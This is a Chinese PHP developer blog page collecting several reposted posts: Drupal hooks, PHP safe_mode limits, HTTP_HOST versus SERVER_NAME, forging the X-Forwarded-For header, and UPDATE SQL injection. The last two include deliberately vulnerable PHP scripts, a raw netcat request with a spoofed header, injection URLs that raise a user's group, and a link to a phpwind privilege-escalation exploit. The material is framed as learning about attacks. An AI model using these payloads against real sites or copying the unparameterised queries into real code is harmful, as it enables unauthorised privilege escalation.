手机浏览 RSS 2.0 订阅 膘叔的简单人生 , 腾讯云RDS购买 | 超便宜的Vultr , 免费部署 N8N 的 Zeabur 注册 | 登陆
浏览模式: 标准 | 列表分类:PHP

Drupal 的钩子(Hooks)

hooks这玩意,一向是被认为是可扩展的代名词,当一个系统启动了hooks后,他就变得可扩展了,同样,他的性能也就需要被众人拿出来做比较了。
目前被很多人拿来做比较的是两款程序:drupal和wordpress,是使用量最大的博客程序之一,在很多人眼里,这两个程序已经脱离了博客,而是CMS了。drupal前后台不分是我最不舒服的地方,所以wordpress才是我的首选。或许大家看到我的TAG里面还有ThinkPHP和QeePHP,那是因为这两个框架都在考虑有行为加入,行为嘛,相对于框架,就当于一个hooks,所以我也加上了这两个框架
thinkphp的Add_filter,add_action和wordpress有点相像 ,而qee因为没有仔细看过,所以不太清楚(flea的时候好象没这个功能)

跑题半天了。上文了

      Drupal怎么就知道什么时候调用一个模块来处理特定的请求?

      这个是通过Drupal的hook机制完成的,下面解释一下hook的工作机制。

      当Drupal处理来自用户的一个请求,它通过一系列步骤进行。比如:Drupal核心首先引导这个应用,确定关键变量和经常使用的功能。接下来,它加载 关键库、主题和模块。接下来,它继续处理请求,将请求的URI映射到正确的处理代码,等等。然后它为数据应用一个主题,为输出来格式化信息。最后它返回输 出结果到用户的浏览器。

      在循序渐进的预定义时刻,Drupal进行勾取。这意味着什么呢?简短的说,它意味着Drupal测试部分或全部当前启用的模块,寻找遵循特定的预定义模 块的函数。一些已经连接这个进程到“回调”的模式经常被用在事件处理模块中。Drupal和这个是类似的,但是更加充满活力。

      比如说,当它正在创建一个页面浏览内容时,Drupal可能再模块中寻找叫做<modulename>_block() 和<modulename>_view()的函数(在这里<modulename>被每个Drupal检测的模块的名称代替)。 寻找模块包含的这些函数被叫做实施hook_block()和hook_view()勾取。

      当Drupal找到这些函数,它执行它们,并且利用这些函数返回的数据创建一个响应来发送给用户。然后Drupal继续循序渐进的处理请求,或许在它进行 过程中执行许多其它的钩子。

      当所有的步骤完成并且一个响应发送给用户,Drupal自动清除并且推出。

      模块可以定义自己的钩子,这些钩子又可以被其他模块使用。这样一来,hook机制可以扩展到提供复杂的定制行为。

      当一个模块提供匹配一个钩子的签名的功能,我们就说那个模块执行那个钩子。比如,假设Drupal有一个叫做hook_example()的钩子。如果我 们定义一个叫做 mymodule 并且包含一个叫做 mymodule_example() 函数的模块,我们就会用到 hook_example().

      Hook对于面向对象程序员的启示:

      那些对面向对象编程熟悉的程序员可能发现在面向对象语言中考虑将钩子作为一个类似于接口方法或者抽象方法的机制是很有用的。钩子是Drupal将寻找的函 数并在某些情况下需要出现在你的模块中。就像接口方式,一个钩子的函数签名必须匹配Drupal的预期签名。而和接口不同的是,模块开发者可以选择(在一 定程度上)哪个钩子去实现、哪个钩子去忽视。Drupal不要求每个定义的钩子都实现。

参考:《Learning Drupal 6 Module Development》

原文来自:http://www.cnblogs.com/stylesheet/archive/2010/04/16/1713512.html,上次我也写过wordpress的hooks,其实原理都差不多。

图片附件(缩略图):
大小: 27.61 K
尺寸:  x 
浏览: 3126 次
点击打开新窗口浏览全图

Tags: drupal, hooks, wordpress, thinkphp, qeephp

简单伪造X-Forwarded-For

说实话,通过代理访问之类的以前都曾关注过,但伪造来源IP还真没注意过。以下的文章内容我没有测试过,仅仅了解一个想法,或许真可以,或许早就不行。但既然有第一次以后就会有第二次。了解入侵途径、方法,在遇到问题的时候岂不更好、更容易多一个技能来解决它?

原文来自:简单伪造X-Forwarded-For

关于伪造X-Forwarded-For的目的我就不多说了。在入侵一个PHP站,GPC为ON的时候,

字符型注入全部歇菜,而在PHP5中,GPC默认是打开的。但是GPC对$_SERVER无任何影响,

因此可以通过伪造$_SERVER来达到注入的目的。

IP.php中有如下代码,主要是获取客户端IP:

PHP代码
  1. <?  
  2. function GetIP() {  
  3. if (getenv("HTTP_CLIENT_IP")){  
  4. echo "getenvHTTP_CLIENT_IP";  
  5. $ip = getenv("HTTP_CLIENT_IP");  
  6. }else if (getenv("HTTP_X_FORWARDED_FOR"))  
  7.    {  
  8. $ip = getenv("HTTP_X_FORWARDED_FOR");  
  9.    echo "getenvHTTP_X_FORWARDED_FOR";  
  10.    echo "<br>you are right";  
  11. }else if (getenv("REMOTE_ADDR")){  
  12. echo "getenvREMOTE_ADDR";  
  13. $ip = getenv("REMOTE_ADDR");  
  14. }else{  
  15. echo "unknow";  
  16. $ip = "Unknown";  
  17. }  
  18. return $ip;  
  19. }  
  20. echo GetIp();  
  21. ?>  
1.直接访问IP.PHP时,返回getenv REMOTE_ADDR127.0.0.1

2.用NC提交:
GET /1.php HTTP/1.1
Accept: */*
Referer: http://localhost/
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
X-Forwarded-For: 127.0.0.2
Cookie: rtime=0; ltime=1269249140109; cnzz_eid=64110124-1269242429-; language=zh-cn; PHPSESSID=ae9b14609808b4ff4c5811ad1943c529

返回getenvHTTP_X_FORWARDED_FOR127.0.0.2。

伪造X-Forwarded-For成功。

要想提高程序的安全性,不是一个GPC可以解决的,必须提高程序的过滤机制,因为任何的参数提交都是

有害的!

--EOF--

如果上述属实,那就太痛苦了,啥也不能信了。这年头,连X萝卜也靠不住了。

Tags: 入侵

风雪之隅:ini_set memory_limit在safe_mode下不可用

这是风雪之隅的文章,主要是我正好也有类似的情况发生,先介绍完他的事件后,我再贴出我问题吧。

原文地址为:ini_set memory_limit在safe_mode下不可用

内容如下:

如果你ini_set(“memory_limit”, *)返回了false,不妨检查下, 是否开启了安全模式(手册中没有述及)..

一句话, 记录下:在安全模式下不能使用ini_set的指令:

XML/HTML代码
  1. 1. max_execution_time  
  2. 2. memory_limit  
  3. 3. child_terminate  

--EOF--

附:上文说的ini_set的问题,可以查看一下手册的Chapter 9. Runtime Configuration之How to change configuration settings。

风雪之隅的这个问题其实很常见,但却不会影响系统运行,无非是设置返回false了而己,但我说的是set_time_limit(),这个函数事实上也不会在safe_mode里运行,而且如果你开启了error_reporting(7)后,系统好象是直接无法访问【单位的网站就因为这个而导致程序出错】,由于我仅仅加了这一行,所以我在这行下面加上exit()后才发现safe_mode下,无法set_time_limit。其实这就是上面所说的ini_set中不能使用的max_execution_time。但问题是set_time_limit会有出错信息,而ini_set仅仅返回false。。这是两个不同的概念。

因此,如果你的服务器开启了safe_mode,你一定要看手册的这一章节:Functions restricted/disabled by safe mode。否则遇到问题,你会很头疼的。有的服务器喜欢在上传后直接把文件改到某个用户组,甚至改UID,如果这样,那move_upload_files就不能使用了。当然这种情况很少见,只是需要注意一下。

还有一些函数,也不再能够被使用。多看看手册,真好。

 

Tags: safe_mode

HTTP_HOST与SERVER_NAME

看到网上有篇文章,说是$_SERVER变量中的HTTP_HOST与SERVER_NAME不一样,打开网址后HTTP_HOST是全域名,而SERVER_NAME会显示根域名。
但是我采用了phpinfo看了一下,HTTP_HOST和SERVER_NAME是相同值,而并非是所说的不一样。
代码如下:

PHP代码
  1. <?php
  2. phpinfo();  

上面这段简单的代码里会显示$_SERVER变量的内容,搜索一下,HTTP_HOST与SERVER_NAME是一样的,都是www.neatstudio.com,当然这时候,我的路径是http://www.neatstudio.com/info.php,于是我尝试用http://neatstudio.com/info.php访问时,这两个值还是一样,当然都变成了neatstudio.com。

于是我翻开了手册想看看是怎么回事,为什么会有人说不一样。
手册上这么说:

'SERVER_NAME'

The name of the server host under which the current script is executing. If the script is running on a virtual host, this will be the value defined for that virtual host.

'HTTP_HOST'

Contents of the Host: header from the current request, if there is one.

看了上面的解释也基本上可以断定它基本是一样的,除非同一台服务器只有一个网站,但SERVER_NAME却与HOST不一样,或许会出现不同值。如果是虚拟主机,默认会以虚拟主机的值为准。为了测试,我在本地做了一个测试。
在hosts文件里加了127.0.0.1 www.neatcn.com 127.0.0.1 neatcn.com对应两个域名【强制在本地指定,否则会到使用域名真实IP】
然后在virtual host里,更换不同的ServerName 为neatcn.com和www.neatcn.com,但结果,都是根据访问路径来的,不管使用何种域名,HTTP_HOST和SERVER_NAME都是一致的,与访问路径中的hostname一致。
再对应一下那篇文章 ,由此基本可以鉴定那是一个SEO的文章,因为他在同一篇文章里介绍了两个域名还都不一致。唉。。。SEO沦落到如此地步了,刚开始看到的时候,我本来以为很激动的,我想着以后取根域名就方便了。不需要象现在还要根据不同的域名根来取根域名。。。

Tags: http_host, server_name, seo

UPDATE注射(mysql+php)的两个模式

寂寞hack的文章,简单的介绍了一些注入方法,可以了解一下,但并没有那样的实用,经知道现在很多框架、代码都采用了PDO,使用了prepare的方法,基本上可以避免这些问题的发生。当然,光靠这些是不一定能够完全避免的,代码上还是要严格控制一下。

原文来自于:http://hi.baidu.com/isbx/blog/item/35d86a605b1fbf48eaf8f851.html


一、测试环境

OS: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
apache 1.3.33

二、测试数据库结构

SQL代码
  1. -- 数据库: `test`  
  2. --  
  3. -- --------------------------------------------------------  
  4. --   
  5. -- 表的结构 `userinfo`  
  6. --  
  7.   
  8. CREATE TABLE `userinfo` (  
  9. `groudid` varchar(12) NOT NULL default '1',  
  10. `uservarchar(12) NOT NULL default 'heige',  
  11. `pass` varchar(122) NOT NULL default '123456'  
  12. ) ENGINE=MyISAM DEFAULT CHARSET=latin1;  
  13.   
  14. --   
  15. -- 导出表中的数据 `userinfo`  
  16. --  
  17.   
  18. INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')  

三、测试模式

1、变量没有带&apos;&apos;或""

PHP代码
  1. <?php  
  2. //test1.php Mod1  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass=$p where user='heige'";//<--$P没有使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. $userinfo = mysql_fetch_array($result);  
  14.   
  15. echo "<p>SQL Query:$sql<p>";  
  16. ?>  
脚本里只是修改 user=&apos;heige&apos; 的 pass,如果 groudid 表示用户的权限等级,我们的目的就是通过构造 $p 来达到修改 groupid 的目的,那么我们提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查询:

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------+  
  5. | 1 | heige | 123456 |  
  6. +---------+-------+--------+  
  7. 1 row in set (0.01 sec)  

用户heige的groudid又2改为1了 :)

所以我们可以得到没有&apos;&apos;或""update的注射是可以成功的,这个就是我们的模式1。

2、变量带&apos;&apos;或""

PHP代码
  1. <?php  
  2. //test2.php  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. $userinfo = mysql_fetch_array($result);  
  14.   
  15. echo "<p>SQL Query:$sql<p>";  
  16. ?>  

为了关闭&apos;我们构造$p应该为 123456&apos;,groudid=&apos;2 提交:

http://127.0.0.1/test2.php?p=123456&apos;,groudid=&apos;1

在gpc=on的情况下&apos;变成了\&apos;,提交的语句变成:

SQL Query:update userinfo set pass=&apos;123456\&apos;,groudid=\&apos;1&apos; where user=&apos;heige&apos;

 

mysql查询:

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------------------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------------------+  
  5. | 2 | heige | 123456',groudid='1 |  
  6. +---------+-------+--------------------+  
  7. 1 row in set (0.00 sec)  
groudid并没有被修改。那么在变量被&apos;&apos;或""时 就完全没有被注射呢?不是 下面我们看模式2:

PHP代码
  1. <?php  
  2. //test3.php Mod2  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. mysql_fetch_array($result); //$p的数据写入数据库  
  14.   
  15. $sql"select pass from userinfo where user='heige'";  
  16. $result = mysql_db_query($dbname$sql);  
  17. $userinfo=mysql_fetch_array($result);  
  18.   
  19. echo $userinfo[0]; //把pass查询输出给$userinfo[0]  
  20.   
  21. $sql ="update userinfo set pass='$userinfo[0]' where user='heige'";  
  22. $result = mysql_db_query($dbname$sql);  
  23. mysql_fetch_array($result); //把$userinfo[0] 再次update  
  24.   
  25. ?>  
我们测试下,提交:

 

http://127.0.0.1/test3.php?p=123456&apos;,groudid=&apos;1

回mysql查询下 :

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------+  
  5. | 1 | heige | 123456 |  
  6. +---------+-------+--------+  
  7. 1 row in set (0.00 sec)  
HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:

 

 

update --> select --> update

 


四、实际模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 权限提升漏洞

漏洞分析

 

update (profile.php 注射变量为$proicon update语句里为,icon=&apos;$userdb[icon]&apos;)

select (jop.php)

updtate (jop.php)
Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe